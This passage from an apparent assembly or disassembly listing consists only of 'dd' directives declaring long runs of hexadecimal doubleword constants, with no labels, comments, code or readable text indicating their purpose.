2EC545Dh, 2415C40Eh dd 662C8080h, 4F945902h, 0B1C4205Fh, 451D64BEh, 30814CD5h dd 0EF1BE3EAh, 62E9F0h, 0FBFCD2DCh, 2A48E131h, 1F40B401h dd 4B9B91E8h, 0A48396E0h, 6568A0DCh, 8442FDDh, 72C70C81h dd 3F698B54h, 58150011h, 1D4EF89Eh, 81A0D1CFh, 0EC157632h dd 0E0CA30CEh, 0A468B200h, 7E82284Dh, 8A24061Dh, 495D721Eh dd 8851E300h, 0D7FD1847h, 0BFAE0222h, 0CBEA89E6h, 1FAF9840h dd 2EFA6C80h, 41FC8816h, 251B4058h, 0F8744014h, 0C6593C21h dd 0DE3A0544h, 0A4031F54h, 0BA79A464h, 0EB94E0C0h, 410780C7h dd 8B892107h, 494416C8h, 9010D4E2h, 0AF9A141Ch, 40097518h dd 1571F88h, 0CB29141Ch, 3CD79451h, 96022C29h, 6F54E1F7h dd 0D16EF467h, 54D59080h, 7007D8Bh, 4351C9F8h, 91455368h dd 3A4B0058h, 0EF5797Bh, 90D70413h, 9F3D4844h, 0E0DF3488h dd 47DC078Dh, 0C95D930Dh, 0B3D0C453h, 0E9B90A97h, 129896E4h dd 80549BCFh, 3B7B665Fh, 6D216E7h, 23402F3Ch, 0D5A00053h dd 95E0338Ch, 31283402h, 648040E9h, 9B300CB8h, 0A67917E3h dd 5C022E03h, 0D070B316h, 0EAC61BF6h, 493700BEh, 75B7C2E7h dd 88C05488h, 0A6739AFAh, 8B2B4B57h, 0EE3DDFCh, 4100E92Ah dd 8CE0B2Fh, 3FCC40E3h, 18BC0A9Fh, 0C4676h, 29CC1950h dd 2ECD69Ah, 9F92CEDDh, 4C423E83h, 4D79E859h, 0F83ED019h dd 0CF325800h, 826F42DCh, 449238h, 45473F8Ah, 18DAE8A8h dd 0DE684600h, 0FF528D53h, 0B9030002h, 0C6F87E41h, 1EFEDF91h dd 927AE8C0h, 3433DD48h, 0C4084A1Ah, 3AC81E88h, 0B2CF1065h dd 0C068F7C0h, 7CDD945Fh, 9A309C07h, 58B1AA5Ch, 94541948h dd 32AB1481h, 0AC1C8105h, 14270017h, 205A4525h, 0DE147D04h dd 5FC86FD4h, 2023503Bh, 31F67507h, 0E96AD0E0h, 15C70CC3h dd 3D69C926h, 786E38h, 0BE40F92h, 48C890BFh, 7A8AE01Eh dd 0CF504C38h, 16669325h, 1AC50028h, 0B073FD89h, 0DE7C6359h dd 4B62E813h, 3A171F01h, 5C6C8CD6h, 0DF604906h, 9090684Dh dd 691A4634h, 8FE0C8A6h, 0E100B529h, 0B3F917FFh, 4A479C15h dd 74A0020Bh, 4D87C8Fh, 17209A7Ch, 3DAA0931h, 48206B9Bh dd 0CE8F792h, 80850ACh, 838F4458h, 263B4792h, 9C994079h dd 7C1834D1h, 0F0FEC62Ch, 6397651Ch, 52C8C88Bh, 70FD65C0h dd 0FC6205E0h, 0CE0E444Bh, 0C0578894h, 0FC6748D4h, 1AD74718h dd 584A58D8h, 8B805818h, 1071FBE5h, 9B3AE20Bh, 455C2923h dd 6021E438h, 11ACB96h, 93795A50h, 6273E8A2h, 845B00D4h dd 40AEC907h, 0CA8C0E2h, 899FA97Fh, 0B90294FEh, 4F8F926Ah dd 13271126h, 21C3E1EAh, 0E3D9188Ah, 16053860h, 0F0D8E9EBh dd 0DA18C6D0h, 0C39C483h, 72920095h, 0CF9197BBh, 2CBE1B8Ch dd 60E4084h, 340191C0h, 846E00E1h, 2DBDD57Bh, 7230F43Dh dd 0EC7B9A2h, 0AC47CE2h, 0E99D9951h, 0A14A03BAh, 2BE8CD6Dh dd 731CFBC6h, 440011E7h, 0F15B4F90h, 0ECB412A9h, 4DCA012h dd 99C58330h, 0FF428DCh, 93B00745h, 6F62AF42h, 4674C054h dd 29150537h, 0BCC88F16h, 0D0AF18AAh, 0A93C7814h, 0F830AB4Ch dd 1C0E8C1Fh, 0D5E095B0h, 0DF037FB8h, 0CFE8F36Bh, 6D899899h dd 0AB40173Bh, 88D001F1h, 2EC48741h, 0E23682Fh, 1680401Dh dd 5F60BE8Dh, 20A2954Eh, 8502FDDCh, 3C74FA27h, 0B2032BEFh dd 8C94DDE4h, 0BC167900h, 398BEB3h, 0E540C3AAh, 93E8F1DCh dd 602D41A0h, 90848083h, 9DFB2F27h, 30919C1Dh, 0B867E68Fh dd 8EA007B3h, 0B4AFA5C1h, 0EBC4416h, 0FA6160ACh, 20377FA7h dd 8D2E195Ch, 200B6374h, 239A029Ch, 12945A68h, 41B4F704h dd 97167A04h, 81E85251h, 6C7788C4h, 843ED800h, 666065BDh dd 7DA80001h, 8AC1E81Dh, 0E100C2ACh, 869E1202h, 16278A7h dd 0FBF87C52h, 0D0162BE5h, 691C264Dh, 9100DC18h, 0BF097FA0h dd 0EDA71F98h, 0DDD801E4h, 3D17F8ACh, 781A0FACh, 0B48893D7h dd 0A25C03B9h, 158C3828h, 0D2BDC3F8h, 189C0D48h, 0E00814DAh dd 0CF700812h, 603E7A15h, 73A1648h, 202D6541h, 88E0CEBAh dd 0D473C00Ch, 2D24C9ABh, 2C08EC9Bh, 2241011Ch, 2810D705h dd 882F5AB8h, 6F128C76h, 0EA006177h, 0FED108F1h, 30434C41h dd 0CC4CD17h, 8561D4A8h, 0D3249858h, 0AC3AE453h, 0B20B1E23h dd 80188138h, 7F088741h dd 5E6C5C8Ah, 9E003246h, 0AF15C584h, 3813364Bh, 8C8F0B82h dd 0FCC02F88h, 8F7A6Bh, 43DEDA30h, 3AD70B28h, 273B5D01h dd 64CB5BC9h, 261A6E60h, 1D3C1BDBh, 0A5A41ED3h, 713E6820h dd 0F7007A70h, 0BBCA5A0Eh, 8BAA1Bh, 6791A3Fh, 66A90B14h dd 110008E8h, 360E3C49h, 662132E5h, 21412919h, 22111880h dd 0F2B949DFh, 80E3243Bh, 27DE81FEh, 148EA90h, 95879C4Eh dd 3B2015E1h, 64E31849h, 7F9B000Ch, 0A04D8CF0h, 0D60109D7h dd 5114A780h, 78DCADECh, 308E5DFCh, 983DA480h, 0DF88A6A9h dd 52094210h, 108059A8h, 923F0E97h, 5460ABA5h, 0F8AA94A8h dd 8D160F9h, 2200D718h, 889A818Bh, 0E8CD33B0h, 0F0505D37h dd 231C2E4Ah, 44360721h, 116F8150h, 93DB20B7h, 174984E6h dd 638009B0h, 0F7A0A259h, 0E45CC7B8h, 82AD6036h, 5A0A7819h dd 0C4709BCBh, 58C140ACh, 81040AB8h, 103C8354h, 0FA4CD537h dd 3AB973DDh, 428B2001h, 64822857h, 745E2676h, 3B188C40h dd 0AD897869h, 600D64CCh, 0F09EBD7Ch, 2AD13857h, 0EA368180h dd 6292C8AAh, 54200CB8h, 90160831h, 2216CAA0h, 9202FCA2h dd 388EDBBFh, 7C33DCD8h, 8A8F190Eh, 7660D63Bh, 0AA025646h dd 4E994357h, 958AF4E8h, 0A828693Ch, 8B22F066h, 0D2D74CA0h dd 0D2FC40h, 0F8751A4h, 88242268h, 582F1B5Ah, 6A131923h dd 9CD3A401h, 0D0334ADAh, 383031A2h, 3CA0A47h, 980AB5Dh dd 0AC087115h, 48C2090h, 54C244DEh, 0BC0CB987h, 7C50216h dd 73793048h, 0E689D090h, 4602AFE6h, 0F28C9CE4h, 76787CCBh dd 41385146h, 0A54AC60Bh, 0D8D0AC1Bh, 0F5732B4Fh, 0DC7C6E00h dd 0D52924AFh, 3CE103E8h, 0A48516CAh, 61F44919h, 58115E10h dd 44439BDh, 244B4792h, 2B4B34CEh, 8C70FCh, 6AB276Bh, 971AC1D0h dd 937A6372h, 4878BF4Dh, 5673103Ch, 28C1DF8h, 30B73479h dd 0C8D2736Ch, 0DCF2E100h, 0FF689C21h, 0AEA91D20h, 751AC0D1h dd 6AAC91B9h, 8CDB895Bh, 6F1AE980h, 0A098B9E8h, 0C01EAB2Eh dd 683FAC13h, 32013323h, 7288EF09h, 57A7B49Ch, 6438D236h dd 417CD029h, 881C4E1Fh, 907AC04Ch, 530050C3h, 0D8853BA4h dd 16B29AE9h, 46D51E3h, 0CA2350h, 0C19B3DA9h, 0F14CB9AAh dd 1D1823h, 3118AD6Fh, 0B97BCBDFh, 9AA94112h, 92646081h dd 90E80AC9h, 44A34A7Fh, 870E9BACh, 0BF26210Ch, 6E6431CFh dd 2C04B86Fh, 5074B722h, 0C65710A0h, 3027F015h, 0C8B4CA92h dd 3625C04Eh, 100777B6h, 319B166Fh, 0C3D4624Bh, 0AF49A00Fh dd 0D61B266Ah, 10CC08DCh, 8D701C28h, 0EF880609h, 0D02462FCh dd 61396BE0h, 9EC06CEDh, 2F9C5137h, 1880538Fh, 25E844DCh dd 0AC3A8B4Bh, 0F000823h, 0BEF3454Dh, 0E725124Eh, 0C0549BCBh dd 8529105Ch, 4A4D7AC1h, 0E37C85D3h, 0D89A5AB8h, 68207E8Eh dd 3C5A1136h, 0CAB5F704h, 232FF026h, 0D1B20021h, 0BFF2F8EAh dd 81D8FB00h, 92F1F015h, 9A3C4B4Bh, 4C0FC154h, 50DC5E4Bh dd 96133F9Bh, 0F811BB1Ah, 37E4CCE5h, 3056B961h, 0C7409B10h dd 0E47B4CD9h, 1416A222h, 0CD1933Dh, 6E2FDAE4h, 0E0DD1734h dd 7190A4h, 0A34856BBh, 0B55F1086h, 3D8FCB01h, 61F68BD7h dd 68B70823h, 0DA1839C0h, 31D9006Fh, 5E1304C9h, 68244723h dd 0E04A5821h, 2B3C08h, 76248F90h, 235C0F39h, 0A7471204h dd 8AC28887h, 8044B518h, 5C8C3FD6h, 0FA0F7778h, 84BCD77Ch dd 50B82D41h, 738FF40Bh, 35F30D0h, 0F88588Eh, 0D5E7BC0h dd 16A012EAh, 9E34F58Fh, 0EF6528E0h, 0E33BC20Ch, 0C67B2A40h dd 0F768BE09h, 8DC587Eh, 0DA08F7Dh, 9F646625h, 0C6BB2C17h dd 41780D02h, 1458A360h, 20EE381Eh, 0A1CF7CF7h, 804BDF97h dd 231C3B2Ah, 0A39E0237h, 0ACF95B26h, 34185279h, 56D6D200h dd 80C16235h, 5C09BF6Bh, 2E8CB409h, 1618CBA8h, 7A39118Eh dd 3BCC2A97h, 0B80858C0h, 30EB810h, 0F1DDECD7h, 0F445C29Ch dd 34465E64h, 2D77EA0Fh, 9AE0D707h, 0EB608994h, 0E54EBCD8h dd 397A9888h, 9EBC33ACh, 1BD3D92h, 0AF45927Ch, 0C4802584h dd 92FD8673h, 0DCA48130h, 77A41C6Fh, 28CA4DEh, 0F0419558h dd 465C407Eh, 45CC0020h, 2C508D5Dh, 237F12B8h, 0FCCE197h dd 0C03188E8h, 3EB6549Ah, 907F6000h, 3FF02329h, 0BA79C318h dd 0D6B080B3h, 0AF03B761h, 0DF7FBBF5h, 31E9B890h, 82354F8Ah dd 0EC41092Ch, 6F9D1019h, 701E008Bh, 5A79B458h, 3C039AD2h dd 10E6EA0Bh, 6687E0BDh, 0A6DC0096h, 0C623E5C5h, 1099F0FBh dd 28181979h, 0F8E304B0h, 0CFEC090h, 1CCCE94Bh, 1A8B48C7h dd 4255BE01h, 0C0E4CE6Ah, 0C201544Bh, 0EEC468BCh, 30AF2723h dd 0F91A09Dh, 78643D80h, 0D5099E8Eh, 24FCD793h, 0C8BC6D68h dd 1A14C420h, 734C16E3h, 37542700h, 0E44DF3CDh, 110F4BBh dd 6D3E684Ah, 3E438F26h, 0B0A2B817h, 99D60073h, 64C92DAAh dd 4D0FB5BCh, 0CE15EDFEh, 4D614BF0h, 4AA06028h, 3D48B502h dd 527F1080h, 38CF9009h, 68CD8C22h, 0C4E7AAC3h, 47F4B0EFh dd 0A874A09Dh, 0BC2280B4h, 0AA38084Ch, 0C703B510h, 1EE213DCh dd 0D021F901h, 0F23D9A76h, 0C46CD0h, 0A45B80E1h, 70867C59h dd 58850E02h, 0DC3B47FAh, 6B6D01D4h, 25A78816h, 5F94FCACh dd 0ED0E0098h, 12265A4h, 0C5F31CB9h, 5C4E4B10h, 5A6438h dd 6265EB90h, 68B2419h, 0BF220E3Fh, 0B902B1A4h, 6040847Dh dd 322CF037h, 8A70E130h, 8F06E071h, 20E12644h, 2500A914h dd 0CC06550Ah, 67D058h, 8357E7FCh, 926B2AE8h, 2FD25B48h dd 0D9D829BCh, 0B0489604h, 985B4198h, 59DB34D0h, 94195446h dd 394903A4h, 0DF6F211h, 0DC9867B3h, 1E4E68ACh, 49AAF4D2h dd 82F6DC0h, 5C83515Ch, 428B08Fh, 73479228h, 67249234h dd 1308F428h, 0BCDF845Ch, 66640004h, 1D469E92h, 9580B44h dd 0C4540AD2h, 0A2322AC1h, 0D1F0FCh, 92634DDCh, 4B977846h dd 0B90A50D3h, 5D04FCEDh, 74BC44B7h, 0D073C112h, 2D101F00h dd 18D6DE03h, 0D85862D4h, 0E2B8541h, 36E73183h, 23EBC13Fh dd 8420F0B7h, 2813A7C9h, 0BF80CB48h, 0E48CEC68h, 5E34B418h dd 0D5072246h, 98FFBCCh, 0A704DCD8h, 9B3AD259h, 0E4CEA8E8h dd 88CD0510h, 0B8AC5C43h, 18C1FECh, 64361638h, 0FC0D69A4h dd 5F659D6Ch, 0F0F97220h, 9C1E3507h, 4C360091h, 14001988h dd 20AE6B9Ah, 0C47CFF60h, 0B83C0180h, 8C4CB8CCh, 0CF8B7F01h dd 28A018EBh, 0E930ECh, 0BE7DA465h, 3C58F26Ch, 8090B5B5h dd 0EF12C550h, 4403A08Ch, 6B858BEBh, 3D38C8B0h, 0FF651C66h dd 5BD316h, 83895750h, 7E4FA8C7h, 53C8988Bh, 1A8D85C0h dd 471D1378h, 23DC3ABBh, 0FD38000Dh, 6BB30393h, 4111F201h dd 425FE12Ch, 21169422h, 63988991h, 3033A234h, 0F17E366h dd 1B0257F1h, 40356747h, 98BEAD64h, 8EA14B4Fh, 0C320C8DCh dd 3098E964h, 9326DA07h, 0EB08CCA4h, 4119013Eh, 61529165h dd 7408BC17h, 1929C0ABh, 9D19C72h, 76026118h, 988FABF1h dd 7634641Fh, 909C972Fh, 56AC299Fh, 3100DC64h, 0DDB0F4CDh dd 801960ACh, 84A90A6Fh, 0E5603001h, 1384D63Eh, 0DC209116h dd 43AED2Ah, 260496EFh, 0E05CA66Bh, 0F03042EBh, 3D1800A1h dd 8F25636Eh, 70A821C8h, 9E841BD0h, 34465630h, 0C0F60100h dd 274EF89h, 1ABC8494h, 0DC28C7BCh, 7C00DCB4h, 0F7CCD158h dd 39204B7Dh, 17735341h, 0DC61858Ah, 87459978h, 0BC7D7821h dd 0E4456A25h dd 4F9D11EEh, 0C0DD7512h, 0F9188386h, 0A360721Ch, 386CF2A1h dd 0AE1E1FEFh, 642EC94Dh, 9C9EA878h, 53465Ch, 0ADD82983h dd 0CB2A977h, 2E8B9FFCh, 0ED00DCD8h, 4BA66BA7h, 465053Eh dd 0CF91A9AEh, 0C070F018h, 25155C04h, 3BAE245Bh, 5362388h dd 9C913ADFh, 0C9801D18h, 43BF2580h, 88F24CCEh, 18A93F30h dd 40A32638h, 6CCCBFDh, 0F832185Fh, 0BAFA40D3h, 98AC6602h dd 5ED50E17h, 0C25F4F84h, 97B019BCh, 0E67098DBh, 0CC932013h dd 1D87E513h, 7AE24409h, 33BD3DC4h, 8A5BEA00h, 0F2C619B9h dd 2B264B05h, 0C8F58258h, 0D2FA60h, 40E586ADh, 0CE852A76h dd 16BB3002h, 5DCA5B97h, 9BF19CB0h, 5EEFEA01h, 826BDDC1h dd 9DBD8h, 450EA46Dh, 7E3046ECh, 0C7144D95h, 1FDE184h dd 0C8422107h, 923FFE93h, 10E0D8E7h, 0E692A2C3h, 15B7A09Ch dd 608E09CDh, 685C9503h, 0D954092Dh, 1851D194h, 0FDF40169h dd 2F838B18h, 0E7943325h, 0C961C068h, 0AB0008C7h, 0E8157C6Eh dd 1264663Ah, 0EC34B77Bh, 0B1D78C6Ch, 78AC18DCh, 0A5E1815h dd 48744CA2h, 151465Eh, 947CC432h, 582D836Fh, 0DC12B500h dd 0EFC53E86h, 0B24CA50Eh, 46A7002Bh, 0BCB0F791h, 5CE16CCh dd 0B4376320h, 0A252C8Ch, 0E0D44D8Bh, 2321A55Ch, 5EC0439h dd 0DB60C915h, 2848ACA8h, 912CC409h, 952714D3h, 803791C4h dd 0CC9C3426h, 786CB3A6h, 1607D29Ch, 528AD0C6h, 0D76F31F0h dd 90215F15h, 9C8C952Ch, 0A8DA3C5Fh, 0CD083DC2h, 53B1EC40h dd 0C020D74Ah, 0B64B7Eh, 43B87C8Ah, 2E6F65D1h, 1401827Bh dd 1B495B53h, 243A055Dh, 0EC6EBB5Ch, 9CE6A801h, 3ABF9Fh dd 524B07h, 9B63C690h, 92DA4725h, 0B4003BE1h, 16D38681h dd 70824CE5h, 0F4216C80h, 44F81D90h, 3C6AB408h, 4EC1801Ah dd 0E3E57451h, 7059DF03h, 0B89B5878h, 7B2BFE8Ah, 95444AEBh dd 90D41690h, 88D07CCh, 64193000h, 40886A62h, 0B429581Bh dd 0E8C53E8h, 5633D474h, 0E229D104h, 47540010h, 0FE34A607h dd 36E40776h, 1B5651E5h, 3B60C482h, 4138476h, 35A26CA6h dd 6ED9F033h, 68AE25E3h, 5A7044FBh, 0AC590701h, 0F055251Dh dd 0E971A465h, 97FC621Ch, 2E805865h, 487C44E0h, 39620030h dd 45B39568h, 2A4B2709h, 4478D111h, 242E357Dh, 0E2003023h dd 0AE35DA8Ch, 3BAD0540h, 882420DEh, 4D40F3B0h, 0CA712E72h dd 55467C98h, 521AD31Ch, 6300013h, 0E3EA0A14h, 65351709h dd 1DCC873Bh, 0D3DDEE4Fh, 0E90144A2h, 14C67ADAh, 243BC405h dd 9824A3Ah, 75BCEF7h, 0C942E9E4h, 6785ACFh, 0D72EBD6Dh dd 0FF34284Bh, 180620EEh, 3A4932CFh, 8C4EA535h, 412EAAB0h dd 0A4096067h, 0D970F1F6h, 1891833h, 10A79F1Ch, 0D545B9FEh dd 80283A15h, 72A0A90Eh, 0A100E062h, 89605AF9h, 103CCFD5h dd 12945017h, 186B1109h, 4290D120h, 9D5F0944h, 80039188h dd 73B2DB3Fh, 52280BD2h, 1402E73Eh, 805C35B7h, 4054ED5Ah dd 0E7189069h, 6DB2B03h, 0E11B1123h, 0A900C083h, 4E0035F3h dd 0B5DC193Ah, 0F8C2CBDAh, 0E1C25D7h, 31D964F9h, 0B500E818h dd 6D915DC9h, 4EDDCBB2h, 4E0C8DD3h, 0C1578860h, 414EF4E4h dd 3DF390h, 0DF129h, 27CBA04Ch, 998DA90Ah, 30F0980Bh, 1AC5089h dd 4114DAD7h, 0C57A1546h, 8724D1D5h, 0F43DA959h, 363739E0h dd 720C07D7h, 0A2D0E2CDh, 0AC5C052Ch, 0FEAC5049h, 8E241FCEh dd 0CA9EDABh, 237F887Ah, 120C0284h, 0BC5CAA3Dh, 66032CD1h dd 0C06524ECh, 0FE437AC1h, 8C6D560Eh, 903056E2h, 98411610h dd 0AE60C467h, 1E23002Fh, 22386101h, 457EE8AFh, 0A0E68CB4h dd 85272944h, 0A8149B23h, 91A6489Ah, 60B4D310h, 1CA7971h dd 78922CB5h, 0CD1B4A90h, 0C4022ECBh, 5A68DE3Ah, 2AD72724h dd 6D978C4Eh, 664943BCh, 69648180h, 92209318h, 2F604391h dd 8274E7Fh, 0CE3DB85Ch, 1D88ECCEh, 938F53C3h, 2089AC9Ch dd 30EC6078h, 2F3C008Ch, 91A19BE6h, 51E97342h, 6040E2FCh dd 0D02F06C6h, 1DF09AA8h, 803511C8h, 8E96189Ch, 4C8D1359h dd 7A908893h, 43988197h, 30252798h, 0DA38752Fh, 0FBE8842Ch dd 0ADC028E8h, 0AA936046h, 0FABC90B7h, 0F889820Ah, 8AD77868h dd 5C9BDC0Eh, 18ACD327h, 663F6180h, 8F7531E5h, 85459A00h dd 8CCE0B89h, 0B9F0BC27h, 0A49DEDADh, 1D811991h, 0DB38F632h dd 1F885109h, 3BB81FA5h, 649C0746h, 0B600EBEDh, 4CC5D22Ah dd 2EA5F80Eh, 0F0B2374h, 0EFEA24B3h, 0AF428298h, 0C0561108h dd 7CC01388h, 5C035746h, 163F08DAh, 5E1AC90Eh, 0F971C0BCh dd 0F1ACED29h, 0FC93DCE4h, 102995ABh, 989FBC87h, 9B3D843Dh dd 0EF00AAC3h, 0CCB7FD2Bh, 1499DD4Eh, 239C7C0Ah, 0F385BA00h dd 6BCB63Eh, 1AA56104h, 0FA1F684Fh, 0F06E2747h, 0F162C42h dd 88C04B51h, 1F738F65h, 2726D99Dh, 4E91D497h, 7B725280h dd 5D72B1A4h, 5FCF9A0Bh, 407AE2h, 7C8EC6A2h, 45D90F5Bh dd 209CF100h, 0A5A31D06h, 985ED88Fh, 0EB2591C2h, 11941761h dd 6E788034h, 6083EA48h, 319819C3h, 0AC014BDAh, 0BE8424FBh dd 6E9F80h, 44DFEADCh, 70B61494h, 9E0CB9Eh, 0DA4CBED9h dd 657380E4h, 2D3B4B01h, 5A17ED94h, 14B496CCh, 989AC610h dd 18C52E8h, 88ABCD50h, 7A602231h, 1923DC3Ah, 0ADC2A00h dd 954B8043h, 0E9EF3400h, 0EA720985h, 28933D28h, 5B4899F4h dd 0E89B4E30h, 98DC9C89h, 90012210h, 3964948Fh, 0BC283C0Fh dd 6D178C56h, 0B4F5E0FAh, 5401FCh, 0EE41DD8Dh, 373F677Ah dd 78B2A00h, 8666041Ah, 0DB8F0B9Ah, 843DEA89h, 13CB6400h dd 1F2CD5Ah, 97D25DB9h, 0C7A0EDDCh, 0D77137D0h, 2C4290B8h dd 2849A425h, 93884872h, 0B0599F09h, 0EF298071h, 1E37F6h dd 679B4B09h, 0A2ACF14Dh, 35BD0C90h, 382286FCh, 0AC87E03Bh dd 19605244h, 79019563h, 80411AEDh, 8D2FA6D7h, 0AC282834h dd 10148C34h, 228C95EDh, 0A4641CC7h, 0A7739355h, 0A758426Ch dd 5C43C078h, 0FA1DE9CFh, 0E2817917h, 0A7803E81h, 9D966824h dd 33116C35h, 958B7880h, 0BD13CCABh, 0BC015B26h, 45EDC01h dd 40F3D030h, 3D11AACBh, 1401E298h, 8BDD3E8h, 3C402E82h dd 0D45B3C6Dh, 0DA620E78h, 0CE82FCEDh, 30794379h, 73184DD9h dd 3DD27200h, 0AE2CF46Ah, 2CB490F1h, 425C3B74h, 82033783h dd 0BE8902C1h, 1B464C0Eh, 1E1C140h, 3FFC73FAh, 2050169Dh dd 140B648Eh, 78576041h, 94019704h, 206C9742h, 4FB7B14h dd 400830AFh, 8DE09A23h, 191C2107h, 89D1B97Bh, 0EFD0976Ah dd 2CE29538h, 0A93F4D40h, 434BD9DCh, 14E0E8F8h, 1A0A42Ah dd 0F2EC286Ah, 0E2EBB7ACh, 0F1B48957h, 1803D990h, 3A89000Bh dd 9D1EE383h, 109DAD0Eh, 36CB70h, 0B3381229h, 0FE7CE216h dd 2066E900h, 4BA891DEh, 4032F759h, 1C54F400h, 1DF43E6h dd 0AF3AF300h, 0F728B565h, 0EE92F219h, 80715009h, 26610193h dd 0A48CDDEAh, 28C0993Ah, 886A94D0h, 0FB2597D0h, 11A0E537h dd 0DDEF067Ah, 1F877F1h, 3FE76264h, 0F0FA3971h, 95C4ACh dd 0A3FB3BB0h, 8F8498Fh, 59EBE302h, 0B0A45049h, 0F994859Ch dd 9C804BBCh, 7502D52Bh, 0BCA46Fh, 0A2C16891h, 234B9230h dd 4EDAF75h, 0BC8C12EFh, 0DF92C130h, 0F0070D20h, 0B1ED682Eh dd 54DBEF0Dh, 0B8816021h, 8F755B92h, 3C80521Ch, 9081A4F6h dd 0B398BEADh, 0E284173Eh, 23900C8h, 4B24E951h, 25E00E29h dd 81401E8Ah dd 6FE8C8CEh, 0FB602312h, 0EA88FC40h, 0C0113CCBh, 2CB9C659h dd 0D800BF15h, 5DBE35E0h, 0A15AE238h, 216E1488h, 12987A0h dd 80501182h, 0C1AF9823h, 0D4DF9091h, 0A4E18102h, 9AE6D349h dd 2AD0E9E2h, 0C788718Ah, 9CCC0114h, 3F3DFBBFh, 367C6C91h dd 23639D00h, 1D4104FCh, 0E1E4992Bh, 4C3B6E3Dh, 0AD163023h dd 15BE5503h, 2D41A80Ch, 9017B89Fh, 8844A134h, 42585ED2h dd 0A255CF90h, 893093E4h, 7898F39Ch, 7A03C039h, 45B98986h dd 0B8E8E508h, 1080068Fh, 0EB2507A3h, 35F02327h, 0FD378214h dd 0F3855306h, 51C4020Ah, 684166FEh, 3DC717E3h, 0CE0B0391h dd 646E2Eh, 0DC742F9Fh, 5D4AF2CFh, 0D9B87C3Ch, 70F87D07h dd 0E84CEB39h, 80465F99h, 0EA6AD670h, 68435927h, 608E1680h dd 48AD41ABh, 0E006B44Ah, 2117D2AFh, 4BDC7A19h, 0C74C023Ch dd 0EC642A15h, 10D0E34Eh, 2C98F35Bh, 0BA01299h, 0CC638097h dd 9834AF8Ch, 5DE0ACB6h, 0ACB07286h, 14133F70h, 1CB2C424h dd 0A27710h, 9289DDD5h, 0C98BA422h, 7474DC08h, 111064BAh dd 70D46EBEh, 5D697F00h, 0F2667871h, 4EEFECE2h, 0C84C8BE1h dd 0AC40C04Dh, 24F239F7h, 0B956A509h, 91507B25h, 2241050Dh dd 0C420AA42h, 8016188Ch, 642D9790h, 64F0E77Eh, 93566057h dd 70289801h, 32ED0119h, 0A792E8A8h, 34C26B3Bh, 0E22C5E24h dd 0F109181Ch, 0A0F6001Ch, 2B444A5Eh, 46832E24h, 4204542Ch dd 0B482F70Eh, 1943211Eh, 0B579306Ch, 0A248BF00h, 39B879ECh dd 124000FDh, 0D7E6D9Ah, 0ED3C2BEFh, 710C9291h, 0DA1B4BCh dd 1BD800A6h, 891D67E3h, 983930A5h, 370B9F45h, 9E150B8h dd 442C7180h, 20A257BBh, 5B3022F2h, 83C20BF7h, 740278FCh dd 0C70519B8h, 5EB824BDh, 3BFCA300h, 38DD5B25h, 8C10959Ch dd 0B00040B7h, 0EFD2CFA1h, 3F4784Ch, 9AD5F631h, 77B8ABEDh dd 0DE3EEC73h, 4B1ECCF0h, 0EB290802h, 591Bh, 0E7A6019Ch dd 5C00D48Dh, 347558E0h, 5A7A9CEh, 357DF14Fh, 2804AB83h dd 0F121AF8h, 4B911B6Ch, 1ADD4C92h, 0D1CE1065h, 0F0B7C487h dd 0AC0F6AB3h, 417BA602h, 7B452798h, 0FF72D0CCh, 16EF6200h dd 0ABC9FCA8h, 7A1404E9h, 0F0AFA7EAh, 6D4F08A0h, 310178A2h dd 8126EB77h, 61E03E5Ch, 0AD2F02A0h, 92C1F014h, 304C7062h dd 0B4D8F20h, 7C4775E4h, 0A45644ABh, 41FD00DCh, 50C41958h dd 3A7C178Dh, 0F13E80B8h, 0D0DAA559h, 7CB17C0Ch, 0F8ED00F4h dd 7A12E0C4h, 0A3CD8D7h, 0E9717C6Ah, 37AC715Ch, 8D01181Bh dd 1080BDC0h, 720CE2CDh, 1405DC97h, 0DE52D40h, 0A4E2D817h dd 24301EF2h, 209CB85Eh, 3F22116Ch, 0A504120Eh, 0D10C822Dh dd 0A161E856h, 13E44277h, 2595004Dh, 3B66AD21h, 86034A03h dd 298A332Dh, 0B8715891h, 0D7DDFBC0h, 1EECF2Bh, 0CB656877h dd 4F114E0h, 0E5F0C32Ah, 0CD66E801h, 0E0D3DE6Bh, 7289606Ch dd 0B793859h, 162FFA18h, 5108EA8Fh, 0FDC900A0h, 964B1F99h dd 0C291524h, 5FC24345h, 5A98564Ch, 4AD4FCD6h, 0B8EE81Fh dd 5C18BCDFh, 947125CCh, 4723DC01h, 0C60028C4h, 0C85AF073h dd 37A040E7h, 67B869FFh, 2F93F107h, 82C9B98Ah, 4186FFCh dd 0B017BADCh, 2DA06CF7h, 0C31D764Dh, 0AA56854Ah, 90CBA820h dd 12444A0Fh, 9B8E200h, 0A29B8041h, 90DF1404h, 37681BC0h dd 0A7315177h, 4C71C9D3h, 0A182FD9h, 23B2D412h, 0A033510Eh dd 0BFFC2F7Bh, 2E0BA8Bh, 4416C422h, 4C6ABE93h, 0F4847Ch dd 79E17E14h, 923F9E57h, 21173C30h, 731F370h, 6033C9DEh dd 8250D00Fh, 2327C361h, 0D1C4F904h, 1361821h, 0EB6AA75Eh dd 0FCCC3F1Ch, 0D05ACF93h, 7DB4ECC2h, 0E3111810h, 790088FCh dd 0A346E95Dh, 1266641Ah, 0E6B43854h, 0FE20E0D8h, 35EC049Eh dd 0EA5474BBh, 0A443C1Eh, 0F0E9BF26h, 7163B200h, 6E3E146Fh dd 14B0CC4Bh, 7C8002DBh, 4EF9013h, 0D1256456h, 68448014h dd 1AD03938h, 624D412Fh, 0F45062B4h, 5F48FB4h, 0C20F9F2Fh dd 0F0D0F617h, 781E5E15h, 0AE9A00D7h, 8D0B5B49h, 0FB122768h dd 0D0ACC43Bh, 0CE37009Ch, 5EEB1184h, 0DA308F5Ch, 5EBC7421h dd 0CD3A5646h, 0BB884305h, 5E44ED7Eh, 16CADC43h, 9D319689h dd 0BAC064EDh, 0C732C9h, 6AE92BDAh, 0C27A446Bh, 5C657329h dd 881855D9h, 0A3435925h, 8CA7FA04h, 0A5081EFAh, 985660E7h dd 208904C0h, 0D03B83AFh, 95658218h, 3D00D971h, 0AD2BCE98h dd 0F422EC39h, 0E0F51806h, 0C279F10Ah, 0DC00C4F4h, 80DF6A83h dd 0C817F3h, 82B4E0F8h, 46977D0Ch, 22046C9Dh, 3F4C7F47h dd 68D3800Ch, 34E656h, 0D821503Eh, 0E32A068Bh, 808CDD13h dd 0D808A8C4h, 77F7805Fh, 0AE5C84E7h, 4ABFEF1Ch, 0C0258EC2h dd 0E47C5E46h, 0E96A44B7h, 923C31BAh, 0F0B4F060h, 88E41D5Bh dd 0DCC040EBh, 29D69471h, 